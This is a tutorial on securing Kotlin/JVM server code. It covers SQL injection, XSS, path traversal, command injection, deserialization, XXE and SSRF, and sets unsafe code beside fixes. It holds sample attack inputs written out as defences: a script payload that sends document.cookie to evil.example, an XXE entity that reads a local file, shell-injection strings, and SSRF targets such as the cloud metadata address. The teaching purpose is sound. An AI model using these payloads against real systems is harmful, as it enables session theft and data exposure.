Application security

suggest change

Most security bugs in server code follow one pattern: data from outside the program (a request parameter, a header, an uploaded file, a URL) ends up somewhere it's treated as code or as a trusted name. That place might be an SQL query, an HTML page, a shell command, a file path, an XML parser or ObjectInputStream. The fix follows a pattern too. Keep data and code apart, check input against what you expect, and give each part of the system only the access it needs.

This article covers the most common problems in Kotlin on the JVM, roughly following the OWASP Top 10:

Other articles cover related topics in depth, so this one only links to them:

All examples were compiled with Kotlin 2.4.21 and run on JDK 25. Most use only the JDK. The SQL example uses H2 2.5.252 as an in-memory database, and the web example uses Ktor 3.6.0.

SQL injection

When you build a query by pasting a value into the SQL string, the value can change the meaning of the query:

import java.sql.Connection
import java.sql.DriverManager

fun findUserUnsafe(conn: Connection, name: String): List<String> {
    // DON'T: user input becomes part of the SQL text
    val sql = "SELECT name, role FROM users WHERE name = '$name'"
    conn.createStatement().use { st ->
        st.executeQuery(sql).use { rs ->
            val out = mutableListOf<String>()
            while (rs.next()) out += "${rs.getString(1)} (${rs.getString(2)})"
            return out
        }
    }
}

fun findUser(conn: Connection, name: String): List<String> {
    // DO: the SQL text is fixed, the value is sent separately
    conn.prepareStatement("SELECT name, role FROM users WHERE name = ?").use { ps ->
        ps.setString(1, name)
        ps.executeQuery().use { rs ->
            val out = mutableListOf<String>()
            while (rs.next()) out += "${rs.getString(1)} (${rs.getString(2)})"
            return out
        }
    }
}

fun main() {
    DriverManager.getConnection("jdbc:h2:mem:demo").use { conn ->
        conn.createStatement().use {
            it.execute("CREATE TABLE users(name VARCHAR(50), role VARCHAR(20))")
            it.execute("INSERT INTO users VALUES ('alice','admin'), ('bob','user')")
        }
        val attack = "nobody' OR '1'='1"
        println("unsafe: " + findUserUnsafe(conn, attack))
        println("safe:   " + findUser(conn, attack))
        println("safe:   " + findUser(conn, "bob"))
    }
}

Output:

unsafe: [alice (admin), bob (user)]
safe:   []
safe:   [bob (user)]

With the unsafe version the input nobody' OR '1'='1 closes the string literal and adds a condition that is always true, so the query returns every user. The same trick can read other tables (UNION SELECT), or, with some drivers, run more statements.

prepareStatement with ? placeholders fixes this. The SQL text is parsed once and doesn't depend on the input. The value travels separately and is always treated as a value, never as SQL. Escaping quotes by hand isn't a substitute. It's easy to miss a case, and the rules differ between databases.

Libraries built on JDBC use parameters for you: Exposed's DSL, Spring's JdbcTemplate with ? or named parameters, jOOQ, and JPA's setParameter. They are only safe as long as you don't build query strings by hand. Watch out for exec("... $name ..."), string templates in @Query or native queries, and createQuery with concatenated strings. See JDBC from Kotlin for more about prepared statements.

Placeholders work only for values. Table names, column names and ASC/DESC can't be bound, so map the input to a fixed list of allowed SQL fragments:

// Identifiers (column names, sort direction) can't be bound with ?.
// Map user input to a fixed set of allowed SQL fragments instead.
private val sortColumns = mapOf(
    "name" to "name",
    "created" to "created_at",
    "price" to "price_cents",
)

fun buildQuery(sort: String, desc: Boolean): String {
    val column = sortColumns[sort] ?: throw IllegalArgumentException("bad sort: $sort")
    val dir = if (desc) "DESC" else "ASC"
    return "SELECT id, name FROM products ORDER BY $column $dir LIMIT ?"
}

fun main() {
    println(buildQuery("price", desc = true))
    println(runCatching { buildQuery("name; DROP TABLE products", false) }.exceptionOrNull())
}

Output:

SELECT id, name FROM products ORDER BY price_cents DESC LIMIT ?
java.lang.IllegalArgumentException: bad sort: name; DROP TABLE products

The user never writes any part of the SQL. They only pick a key from the map.

A database account with limited rights reduces the damage when something slips through. The application account usually needs SELECT, INSERT, UPDATE and DELETE on its own tables. It doesn't need DROP, GRANT or access to other schemas.

Cross-site scripting (XSS)

XSS is injection into HTML. If a page includes user text without escaping it, a comment like <script>...</script> runs in every visitor's browser. It runs with the site's origin, so it can read the page, call your API as the logged-in user, or send data elsewhere.

The fix is to escape on output, for the context the value goes into:

import java.net.URI

fun String.escapeHtml(): String = buildString(length) {
    for (c in this@escapeHtml) {
        when (c) {
            '&' -> append("&amp;")
            '<' -> append("&lt;")
            '>' -> append("&gt;")
            '"' -> append("&quot;")
            '\'' -> append("&#39;")
            else -> append(c)
        }
    }
}

// Escaping alone doesn't make a URL safe: "javascript:alert(1)" has nothing to escape.
fun safeLink(url: String): String {
    val scheme = runCatching { URI(url.trim()).scheme?.lowercase() }.getOrNull()
    return if (scheme == "http" || scheme == "https") url else "#"
}

fun comment(author: String, text: String, website: String) =
    """<div class="comment">
      |  <a href="${safeLink(website).escapeHtml()}">${author.escapeHtml()}</a>
      |  <p>${text.escapeHtml()}</p>
      |</div>""".trimMargin()

fun main() {
    println(comment(
        author = "Eve\" onmouseover=\"alert(1)",
        text = "<script>fetch('https://evil.example/?c=' + document.cookie)</script>",
        website = "javascript:alert(document.domain)",
    ))
    println(comment("Bob", "Tom & Jerry > Itchy & Scratchy", "https://bob.example/?a=1&b=2"))
}

Output:

<div class="comment">
  <a href="#">Eve&quot; onmouseover=&quot;alert(1)</a>
  <p>&lt;script&gt;fetch(&#39;https://evil.example/?c=&#39; + document.cookie)&lt;/script&gt;</p>
</div>
<div class="comment">
  <a href="https://bob.example/?a=1&amp;b=2">Bob</a>
  <p>Tom &amp; Jerry &gt; Itchy &amp; Scratchy</p>
</div>

Things to note:

In practice, use a template engine or HTML builder that escapes by default instead of a hand-written escapeHtml. kotlinx.html escapes text and attribute values. Thymeleaf's th:text, Pebble, FreeMarker with output_format="HTMLOutputFormat", and JTE with .kte templates all escape too. See Text and HTML templates. Then search for the escape hatches, which output raw HTML: unsafe { +... } in kotlinx.html, th:utext, ?no_esc and $unsafe{}. If you must accept rich text from users, run it through an HTML sanitizer with an allowlist, such as the OWASP Java HTML Sanitizer or jsoup's Safelist. Don't try to strip bad tags with a regex.

A Content-Security-Policy header is a second layer. If escaping fails somewhere, it can still block inline scripts and scripts from other sites.

Path traversal

When a file name comes from a request, ../ segments or an absolute path can point outside the directory you meant to serve. That leads to reads like GET /files?name=../../etc/passwd, or to writes that overwrite your code or config. Resolve the path, normalize it, and check that the result is still inside the base directory:

import java.nio.file.Files
import java.nio.file.Path
import kotlin.io.path.createDirectories
import kotlin.io.path.createTempDirectory
import kotlin.io.path.invariantSeparatorsPathString
import kotlin.io.path.writeText

class UnsafePathException(msg: String) : Exception(msg)

// Resolve a user-supplied relative path inside baseDir, or throw.
fun resolveInside(baseDir: Path, userPath: String): Path {
    if (userPath.contains('\u0000')) throw UnsafePathException("NUL byte")
    val base = baseDir.toRealPath()
    val candidate = base.resolve(userPath).normalize()
    if (!candidate.startsWith(base)) throw UnsafePathException("escapes base dir: $userPath")
    // Symlinks inside base can still point outside, so check the real path too
    if (Files.exists(candidate) && !candidate.toRealPath().startsWith(base)) {
        throw UnsafePathException("symlink escapes base dir: $userPath")
    }
    return candidate
}

fun main() {
    val root = createTempDirectory("site")
    val public = root.resolve("public").createDirectories()
    public.resolve("docs").createDirectories().resolve("guide.txt").writeText("guide")
    root.resolve("secret.txt").writeText("db password")

    val absolute = root.resolve("secret.txt").toString()
    for (p in listOf("docs/guide.txt", "docs/../docs/guide.txt", "../secret.txt",
                     "docs/../../secret.txt", absolute)) {
        val label = if (p == absolute) "<absolute path>" else p
        val result = runCatching {
            public.toRealPath().relativize(resolveInside(public, p)).invariantSeparatorsPathString
        }
        println("%-24s -> %s".format(label,
            result.getOrElse { "REJECTED (${it.message?.substringBefore(':')})" }))
    }
    root.toFile().deleteRecursively()
}

Output:

docs/guide.txt           -> docs/guide.txt
docs/../docs/guide.txt   -> docs/guide.txt
../secret.txt            -> REJECTED (escapes base dir)
docs/../../secret.txt    -> REJECTED (escapes base dir)
<absolute path>          -> REJECTED (escapes base dir)

Why each step matters:

When users upload files, the safest choice is not to use their file name as a path at all. Generate a random name, and keep the original name in the database only for display. The File uploads article shows this. The same check applies when you extract ZIP archives ("zip slip"), because entry names can contain ../ too. See ZIP archives.

Command injection

sh -c (or cmd /c on Windows) passes the whole string to a shell. The shell then interprets ;, |, &&, $(...), backticks and redirections in user input:

fun run(vararg cmd: String): String {
    val p = ProcessBuilder(*cmd).redirectErrorStream(true).start()
    val out = p.inputStream.bufferedReader().readText().trim()
    p.waitFor()
    return out
}

fun main() {
    val fileName = "report.txt; echo INJECTED"

    // DON'T: the shell parses the whole string, so ; starts a new command
    println("shell: " + run("sh", "-c", "echo processing $fileName"))

    // DO: no shell; the input is one argument, whatever characters it has
    println("argv:  " + run("echo", "processing", fileName))

    // Even without a shell, a value starting with '-' can be read as an option.
    // Validate input, and use "--" where the tool supports it.
    val name = "-n"
    println("argv:  [" + run("echo", name) + "]")
}

Output (on Linux or macOS):

shell: processing report.txt
INJECTED
argv:  processing report.txt; echo INJECTED
argv:  []

Pass the program and each argument as separate strings to ProcessBuilder. No shell is involved, so ; is just a character in a file name. That stops shell injection, but not option injection. A value starting with - is read as a flag. Above, echo -n printed nothing instead of -n. With other tools it's worse: git options can run commands, and tar and find options can run them or overwrite files. Validate the input against what you expect (a file name, a number), put -- before user arguments if the tool supports it, or prefix relative paths with ./.

It's best not to run a process at all when a Kotlin or Java library can do the work. More about processes in Running OS commands.

Unsafe deserialization

ObjectInputStream.readObject() creates whatever classes the byte stream names, and runs code in their readObject methods while doing so. If an attacker controls the bytes (a cookie, a cache entry, a message queue, an RMI call), they choose the classes. Known "gadget chains" in common libraries turn that into remote code execution. The cast to Cart comes too late: by then the objects have already been built.

The best fix is not to use Java serialization for untrusted data. Use JSON with kotlinx.serialization or Jackson mapped to specific classes. See JSON and Object serialization. If you can't avoid it, install an ObjectInputFilter that allows only the classes you expect:

import java.io.ByteArrayInputStream
import java.io.ByteArrayOutputStream
import java.io.InvalidClassException
import java.io.ObjectInputFilter
import java.io.ObjectInputStream
import java.io.ObjectOutputStream
import java.io.Serializable

data class Cart(val items: List<String>) : Serializable

fun serialize(obj: Any): ByteArray =
    ByteArrayOutputStream().also { ObjectOutputStream(it).use { o -> o.writeObject(obj) } }.toByteArray()

// Allow only the classes we expect, cap depth and size, reject everything else
val cartFilter: ObjectInputFilter = ObjectInputFilter.Config.createFilter(
    "maxdepth=5;maxrefs=1000;maxbytes=65536;Cart;java.util.*;java.lang.String;!*"
)

fun readCart(bytes: ByteArray): Cart =
    ObjectInputStream(ByteArrayInputStream(bytes)).use { input ->
        input.setObjectInputFilter(cartFilter)
        input.readObject() as Cart
    }

fun main() {
    println(readCart(serialize(Cart(listOf("book", "pen")))))

    // An attacker controls the bytes, so they pick the class. Here it's harmless,
    // but gadget classes on the classpath can run code while being deserialized.
    val evil = serialize(java.net.URI("https://example.com/"))
    try {
        readCart(evil)
    } catch (e: InvalidClassException) {
        println("rejected: ${e.message}")
    }
}

Output:

Cart(items=[book, pen])
rejected: filter status: REJECTED

The filter pattern lists the allowed classes, then ends with !* to reject everything else. maxdepth, maxrefs and maxbytes limit nesting, object count and size, which protects against inputs that use up memory or CPU. You can also set a JVM-wide filter with -Djdk.serialFilter=..., which covers libraries that deserialize internally.

JSON libraries have the same risk if you turn on polymorphic typing that takes class names from the input (Jackson's activateDefaultTyping, or @JsonTypeInfo(use = Id.CLASS)). Use a closed set of subtypes instead: a sealed class with kotlinx.serialization, or @JsonSubTypes with logical names in Jackson.

XML external entities (XXE)

A DTD inside an XML document can declare an external entity, which tells the parser to read a file or URL and insert its content. The JDK's built-in parsers still resolve external entities by default. This run on JDK 25 shows a default DocumentBuilderFactory doing it:

import java.io.File
import javax.xml.XMLConstants
import javax.xml.parsers.DocumentBuilderFactory

fun secureFactory(): DocumentBuilderFactory = DocumentBuilderFactory.newInstance().apply {
    // Refuse any DOCTYPE: no external entities, no "billion laughs"
    setFeature("http://apache.org/xml/features/disallow-doctype-decl", true)
    setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true)
    setAttribute(XMLConstants.ACCESS_EXTERNAL_DTD, "")
    setAttribute(XMLConstants.ACCESS_EXTERNAL_SCHEMA, "")
    isXIncludeAware = false
    isExpandEntityReferences = false
}

fun parseName(factory: DocumentBuilderFactory, xml: String): String =
    factory.newDocumentBuilder()
        .apply { setErrorHandler(null) }
        .parse(xml.byteInputStream())
        .getElementsByTagName("name").item(0).textContent

fun main() {
    val secret = File.createTempFile("secret", ".txt").apply { writeText("s3cr3t-password"); deleteOnExit() }
    val attack = """<?xml version="1.0"?>
        <!DOCTYPE order [ <!ENTITY xxe SYSTEM "${secret.toURI()}"> ]>
        <order><name>&xxe;</name></order>"""

    println("default: " + parseName(DocumentBuilderFactory.newInstance(), attack))
    try {
        parseName(secureFactory(), attack)
    } catch (e: Exception) {
        println("secure:  ${e.javaClass.simpleName}: ${e.message}")
    }
    println("secure:  " + parseName(secureFactory(), "<order><name>Widget</name></order>"))
}

Output:

default: s3cr3t-password
secure:  SAXParseException: DOCTYPE is disallowed when the feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.
secure:  Widget

The default parser read a local file into the document. In a web service that echoes a field back, or reports it in an error message, the attacker gets the file. With an http:// URL instead of file:, the server makes requests for the attacker (see SSRF below). A DTD with nested entities ("billion laughs") can also use up memory.

Disallowing DOCTYPE entirely is the simplest and safest setting. Normal data formats almost never need a DTD. Apply the same settings to SAXParserFactory, XMLInputFactory (StAX: set XMLInputFactory.SUPPORT_DTD to false), TransformerFactory and SchemaFactory, and to any library that creates them for you. See XML.

Server-side request forgery (SSRF)

Features that fetch a URL the user gives you (webhooks, link previews, "import from URL", avatar URLs) let an attacker make requests from inside your network. Targets include the cloud metadata service at 169.254.169.254 (which can return cloud credentials), an admin panel on localhost, or a Redis server that has no password. Check what the host name resolves to, not only how it looks:

import java.net.Inet6Address
import java.net.InetAddress
import java.net.URI
import java.net.UnknownHostException

class BlockedUrlException(msg: String) : Exception(msg)

fun isPublic(addr: InetAddress): Boolean = !(
    addr.isLoopbackAddress || addr.isAnyLocalAddress || addr.isLinkLocalAddress ||
    addr.isSiteLocalAddress || addr.isMulticastAddress ||
    // fc00::/7 unique local IPv6, not covered by isSiteLocalAddress
    (addr is Inet6Address && (addr.address[0].toInt() and 0xfe) == 0xfc) ||
    // 100.64.0.0/10 carrier-grade NAT, also used by some cloud networks
    (addr.address.size == 4 && addr.address[0].toInt() == 100 &&
        (addr.address[1].toInt() and 0xc0) == 64)
)

// Validate a user-supplied URL before the server fetches it (webhooks, link previews...)
fun checkFetchUrl(url: String): Pair<URI, List<InetAddress>> {
    val uri = URI(url)
    if (uri.scheme !in setOf("http", "https")) throw BlockedUrlException("scheme ${uri.scheme}")
    if (uri.userInfo != null) throw BlockedUrlException("credentials in URL")
    val host = uri.host ?: throw BlockedUrlException("no host")
    val addrs = try {
        InetAddress.getAllByName(host).toList()
    } catch (e: UnknownHostException) {
        throw BlockedUrlException("can't resolve $host")
    }
    addrs.firstOrNull { !isPublic(it) }?.let {
        throw BlockedUrlException("$host resolves to ${it.hostAddress}")
    }
    return uri to addrs
}

fun main() {
    val urls = listOf(
        "http://169.254.169.254/latest/meta-data/",   // cloud metadata service
        "http://localhost:6379/",
        "http://127.1/admin",
        "http://[::1]/",
        "http://10.0.0.5/internal",
        "http://0x7f000001/",
        "file:///etc/passwd",
        "http://8.8.8.8/",
    )
    for (u in urls) {
        val r = runCatching { checkFetchUrl(u) }
        println("%-46s %s".format(u, r.fold({ "allowed ${it.second.map { a -> a.hostAddress }}" },
                                             { "blocked: ${it.message}" })))
    }
}

Output:

http://169.254.169.254/latest/meta-data/       blocked: 169.254.169.254 resolves to 169.254.169.254
http://localhost:6379/                         blocked: localhost resolves to 127.0.0.1
http://127.1/admin                             blocked: no host
http://[::1]/                                  blocked: [::1] resolves to 0:0:0:0:0:0:0:1
http://10.0.0.5/internal                       blocked: 10.0.0.5 resolves to 10.0.0.5
http://0x7f000001/                             blocked: can't resolve 0x7f000001
file:///etc/passwd                             blocked: scheme file
http://8.8.8.8/                                allowed [8.8.8.8]

A regex on the host name can't catch all the ways to write an internal address: 127.1, 0x7f000001, [::ffff:127.0.0.1], decimal 2130706433, or a public DNS name that points to 10.0.0.5. Checking the resolved InetAddress handles them all. (Whether 0x7f000001 resolves depends on the OS resolver. If it resolves, it resolves to 127.0.0.1 and gets blocked.)

This check still has two gaps:

Network rules are the strongest defense. Run URL-fetching code where it can't reach internal services, and require session tokens for the cloud metadata service (IMDSv2 on AWS).

Input validation

Validate input when it enters the system. Check type, length, range and format against an allowlist of what's valid. Don't search for "bad" characters. Parse into a typed object that contains only the fields the client may set:

// What the client may send. There's no `role` or `isAdmin` field, so a client
// can't set them even if it adds them to the request (no mass assignment).
data class SignupForm(val username: String, val email: String, val age: Int)

class ValidationException(val errors: List<String>) : Exception(errors.joinToString("; "))

private val usernameRe = Regex("[a-z0-9_]{3,20}")

fun parseSignup(params: Map<String, String>): SignupForm {
    val errors = mutableListOf<String>()
    val username = params["username"].orEmpty().trim().lowercase()
    if (!usernameRe.matches(username)) errors += "username: 3-20 chars of a-z, 0-9, _"
    val email = params["email"].orEmpty().trim()
    if (email.length > 254 || email.count { it == '@' } != 1 || email.endsWith("@")) {
        errors += "email: invalid"
    }
    val age = params["age"]?.toIntOrNull()
    if (age == null || age !in 13..150) errors += "age: must be a number 13-150"
    if (errors.isNotEmpty()) throw ValidationException(errors)
    return SignupForm(username, email, age!!)
}

fun main() {
    println(parseSignup(mapOf("username" to " Alice_1 ", "email" to "alice@example.com",
                              "age" to "30", "role" to "admin")))
    try {
        parseSignup(mapOf("username" to "<script>", "email" to "x@", "age" to "-1"))
    } catch (e: ValidationException) {
        e.errors.forEach(::println)
    }
}

Output:

SignupForm(username=alice_1, email=alice@example.com, age=30)
username: 3-20 chars of a-z, 0-9, _
email: invalid
age: must be a number 13-150

Points worth copying:

Security headers

Browsers apply several protections only when the response asks for them. In Ktor the DefaultHeaders plugin adds headers to every response. The program below also sets up rate limiting and CSRF protection, and calls the server with java.net.http:

// build.gradle.kts
dependencies {
    implementation("io.ktor:ktor-server-cio:3.6.0")
    implementation("io.ktor:ktor-server-default-headers:3.6.0")
    implementation("io.ktor:ktor-server-rate-limit:3.6.0")
    implementation("io.ktor:ktor-server-csrf:3.6.0")
    implementation("org.slf4j:slf4j-simple:2.0.17")
}
import io.ktor.http.HttpStatusCode
import io.ktor.server.application.install
import io.ktor.server.cio.CIO
import io.ktor.server.engine.embeddedServer
import io.ktor.server.plugins.csrf.CSRF
import io.ktor.server.plugins.defaultheaders.DefaultHeaders
import io.ktor.server.plugins.origin
import io.ktor.server.plugins.ratelimit.RateLimit
import io.ktor.server.plugins.ratelimit.RateLimitName
import io.ktor.server.plugins.ratelimit.rateLimit
import io.ktor.server.response.respondText
import io.ktor.server.routing.get
import io.ktor.server.routing.post
import io.ktor.server.routing.route
import io.ktor.server.routing.routing
import kotlinx.coroutines.runBlocking
import java.net.URI
import java.net.http.HttpClient
import java.net.http.HttpRequest
import java.net.http.HttpResponse
import kotlin.time.Duration.Companion.minutes

fun main() {
    val server = embeddedServer(CIO, port = 0) {
        install(DefaultHeaders) {
            header("Content-Security-Policy",
                "default-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'")
            header("X-Content-Type-Options", "nosniff")
            header("Referrer-Policy", "strict-origin-when-cross-origin")
            header("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
            header("Permissions-Policy", "camera=(), microphone=(), geolocation=()")
        }
        install(RateLimit) {
            register(RateLimitName("login")) {
                rateLimiter(limit = 3, refillPeriod = 1.minutes)
                requestKey { call -> call.request.origin.remoteAddress }
            }
        }
        routing {
            get("/") { call.respondText("home") }
            rateLimit(RateLimitName("login")) {
                post("/login") { call.respondText("checked credentials") }
            }
            route("/account") {
                install(CSRF) {
                    allowOrigin("https://shop.example")
                    checkHeader("X-Requested-By")
                    onFailure { message -> respondText(message, status = HttpStatusCode.Forbidden) }
                }
                post("/delete") { call.respondText("account deleted") }
            }
        }
    }.start(wait = false)
    val port = runBlocking { server.engine.resolvedConnectors().first().port }
    val base = "http://localhost:$port"

    // Origin is a restricted header in java.net.http; allow it for this demo
    System.setProperty("jdk.httpclient.allowRestrictedHeaders", "origin")
    val client = HttpClient.newHttpClient()
    fun send(method: String, path: String, vararg headers: String): HttpResponse<String> {
        val req = HttpRequest.newBuilder(URI("$base$path"))
            .method(method, HttpRequest.BodyPublishers.noBody())
        if (headers.isNotEmpty()) req.headers(*headers)
        return client.send(req.build(), HttpResponse.BodyHandlers.ofString())
    }

    val home = send("GET", "/")
    home.headers().map().toSortedMap()
        .filterKeys { it !in setOf("content-length", "content-type", "date") }
        .forEach { (k, v) -> println("$k: ${v.joinToString()}") }

    println("\n-- rate limit")
    repeat(5) {
        val r = send("POST", "/login")
        println("${r.statusCode()} ${r.body()} retry-after=${r.headers().firstValue("retry-after").orElse("-")}")
    }

    println("\n-- CSRF")
    for (h in listOf(
        arrayOf("Origin", "https://evil.example", "X-Requested-By", "app"),
        arrayOf("Origin", "https://shop.example"),
        arrayOf("Origin", "https://shop.example", "X-Requested-By", "app"),
    )) {
        val r = send("POST", "/account/delete", *h)
        println("${h.toList().chunked(2).joinToString { "${it[0]}=${it[1]}" }} -> ${r.statusCode()} ${r.body()}")
    }
    server.stop(100, 500)
}

Output (Ktor's startup log lines removed):

content-security-policy: default-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'
permissions-policy: camera=(), microphone=(), geolocation=()
referrer-policy: strict-origin-when-cross-origin
server: Ktor/3.6.0
strict-transport-security: max-age=31536000; includeSubDomains
x-content-type-options: nosniff

-- rate limit
200 checked credentials retry-after=-
200 checked credentials retry-after=-
200 checked credentials retry-after=-
429  retry-after=60
429  retry-after=60

-- CSRF
Origin=https://evil.example, X-Requested-By=app -> 403 unexpected "Origin" header value [https://evil.example]
Origin=https://shop.example -> 403 missing "X-Requested-By" header
Origin=https://shop.example, X-Requested-By=app -> 200 account deleted

What each header does:

Header Purpose
Content-Security-Policy Which sources may provide scripts, styles, images and frames. default-src 'self' blocks inline scripts and scripts from other origins. That limits the damage of an XSS bug. frame-ancestors 'none' stops other sites from framing your pages (clickjacking).
Strict-Transport-Security Tells the browser to use only HTTPS for this host from now on. Send it only over HTTPS. See TLS and HTTPS.
X-Content-Type-Options: nosniff The browser must trust Content-Type and not guess. Without it, an uploaded "image" that contains HTML can be run as a page.
Referrer-Policy Stops full URLs, which may contain tokens or IDs, from leaking to other sites in the Referer header.
Permissions-Policy Turns off browser features the site doesn't use.

X-Frame-Options: DENY is the older form of frame-ancestors. It's still worth sending for old browsers. X-XSS-Protection is obsolete, so leave it out. Spring Security sends X-Content-Type-Options, X-Frame-Options and HSTS by default. Configure CSP and the others with http.headers { }. More on headers in general in HTTP headers, and on writing your own response plugin in HTTP middleware.

CSRF protection

Cross-site request forgery happens when another site makes the victim's browser send a request to your site, and the browser attaches your cookies. A form on evil.example that posts to /account/delete would be authenticated as the victim.

There are three layers of defense:

  1. SameSite cookies. With SameSite=Lax (the default in modern browsers) or Strict, the browser doesn't send the session cookie with cross-site POST requests. See Cookies.
  2. Check Origin. Browsers send an Origin header with cross-origin requests and with every POST. Ktor's CSRF plugin rejects requests whose Origin header isn't in the allowOrigin list. originMatchesHost() is a shortcut that allows only the server's own host.
  3. Require a custom header or token. A cross-site HTML form can't add custom headers, and JavaScript on another origin can't add them without a CORS preflight that you won't approve. checkHeader("X-Requested-By") requires such a header. Classic server-rendered forms put a random token in a hidden field instead and check it against the session.

Use GET only for requests that don't change anything. CSRF checks usually skip GET, and links, images and prefetching can all trigger GET requests.

APIs that authenticate with an Authorization: Bearer header instead of cookies aren't vulnerable to CSRF, because the browser never adds that header by itself.

Rate limiting

Login, password reset, signup and other expensive endpoints need a limit per client. Without one, attackers can guess passwords or run up your bills. Ktor's RateLimit plugin uses a token bucket. Above, rateLimiter(limit = 3, refillPeriod = 1.minutes) allows 3 requests per minute for each requestKey. After that it returns 429 Too Many Requests with a Retry-After header.

Some details:

Secrets

Passwords, API keys and signing keys should come from the environment or a secrets manager. Never put them in source code or in a config file committed to git. See Environment variables and Configuration files. Once loaded, secrets tend to leak through toString(): a data class printed in a log line, an exception message, or a debug endpoint. Wrap them in a type that refuses to print its value:

@JvmInline
value class Secret(private val value: String) {
    fun reveal(): String = value
    override fun toString() = "Secret(****)"
}

data class DbConfig(val url: String, val user: String, val password: Secret)

class ConfigException(msg: String) : Exception(msg)

fun loadConfig(env: Map<String, String>): DbConfig {
    fun need(name: String) = env[name]?.takeIf { it.isNotBlank() }
        ?: throw ConfigException("missing environment variable $name")
    return DbConfig(need("DB_URL"), need("DB_USER"), Secret(need("DB_PASSWORD")))
}

fun main() {
    val env = mapOf("DB_URL" to "jdbc:postgresql://db/app", "DB_USER" to "app",
                    "DB_PASSWORD" to "hunter2")
    val config = loadConfig(env)
    println("loaded $config")                         // safe to log
    println("password length: ${config.password.reveal().length}")
    println(runCatching { loadConfig(env - "DB_PASSWORD") }.exceptionOrNull()?.message)
}

Output:

loaded DbConfig(url=jdbc:postgresql://db/app, user=app, password=Secret(****))
password length: 7
missing environment variable DB_PASSWORD

A value class adds no runtime cost in most cases. Code has to call reveal() explicitly, which is easy to find in code review. Missing configuration fails at startup with a clear message. It doesn't fail later with a confusing null.

Related habits:

Dependencies

Much of the code you ship comes from libraries, and known vulnerabilities in them are among the easiest to exploit. Keep them up to date and scan them:

Checklist

Feedback about page:

Feedback:
Optional: your email if you want me to get back to you:



Table Of Contents